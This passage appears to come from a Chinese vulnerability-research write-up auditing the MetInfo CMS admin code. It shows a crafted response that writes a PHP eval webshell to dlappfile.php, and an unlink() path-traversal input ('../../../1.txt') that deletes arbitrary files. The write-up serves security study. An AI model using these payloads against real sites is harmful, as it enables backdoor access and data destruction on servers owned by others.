发包,phpstorm下断
可以看到此时$result的值为111了
然后继续往下看,发现还有个检测$result值的地方
就是$result的开头必须是‘metinfo’,这个好搞
然后结合前面分析的$results的由来
$results=explode('<Met>',$result);file_put_contents('dlappfile.php',$results[1]);用<Met>隔开,并且让$results[1]的值为一句话木马
这样就可以构造虚拟机下的standard.php的内容
metinfo<Met><?php echo '<?php@eval($_REQUEST['a'])?>'; ?><Met><?php echo '111';?>
然后发包,下断
可以看到$results[1]的值已经为一句话木马了
接着访问dlappfile.php文件,写入成功
0×10 后台文件删除
继续翻,翻到了一个地方unlink()函数下只有一个变量
于是打开看看
(这里unlink()这段代码原来是@unlink($f_filename);这样的,为了方便测试我就加上了个‘echo’)
追踪$f_filename,在这个文件下并没有发现给$_filename赋值的地方,那么就给它传个参数看看
成功传入,之前的分析的传参过滤并没有发现会过滤../ ,那么就可以做到任意文件删除了
接下来测试一下,在admin/app/physical/目录下创建一个1.txt,然后$f_filename传参‘1.txt’,结果成功删除
再在根目录下创建一个1.txt,$f_filename传参‘../../../1.txt’,还是成功删除